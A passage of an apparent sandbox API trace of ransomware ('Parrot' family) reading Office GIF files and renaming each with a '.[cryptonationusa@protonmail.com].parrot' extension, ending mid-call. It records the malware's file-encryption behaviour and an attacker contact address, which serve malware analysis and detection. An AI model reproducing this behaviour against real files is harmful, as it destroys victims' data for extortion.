1 [0177.205] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.206] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.206] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b53, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b53, lpOverlapped=0x0) returned 1 [0177.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.214] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.214] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.216] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.216] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x178c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x178c, lpOverlapped=0x0) returned 1 [0177.217] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.222] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.224] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.224] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a66, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4a66, lpOverlapped=0x0) returned 1 [0177.225] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.230] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.230] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.232] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x32b6, lpOverlapped=0x0) returned 1 [0177.233] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.238] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.239] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.240] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.240] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a01, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2a01, lpOverlapped=0x0) returned 1 [0177.241] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.247] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.247] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.248] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.248] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76cd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x76cd, lpOverlapped=0x0) returned 1 [0177.251] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.257] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.257] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.258] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.258] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1001, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1001, lpOverlapped=0x0) returned 1 [0177.258] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.264] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.305] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.305] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe82, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe82, lpOverlapped=0x0) returned 1 [0177.305] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.319] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.321] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.321] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4217, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4217, lpOverlapped=0x0) returned 1 [0177.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.329] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.330] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.330] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16a1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16a1, lpOverlapped=0x0) returned 1 [0177.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.337] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.339] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.339] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c88, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c88, lpOverlapped=0x0) returned 1 [0177.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.345] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.347] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce72, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xce72, lpOverlapped=0x0) returned 1 [0177.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.354] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.356] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24dd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24dd, lpOverlapped=0x0) returned 1 [0177.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.362] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.364] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e4a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6e4a, lpOverlapped=0x0) returned 1 [0177.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.370] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.372] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6054, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6054, lpOverlapped=0x0) returned 1 [0177.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.379] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.379] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.380] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x70bc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x70bc, lpOverlapped=0x0) returned 1 [0177.383] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.389] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.389] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.391] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.391] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd2e, lpOverlapped=0x0) returned 1 [0177.391] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.396] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.398] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2204, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2204, lpOverlapped=0x0) returned 1 [0177.399] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), 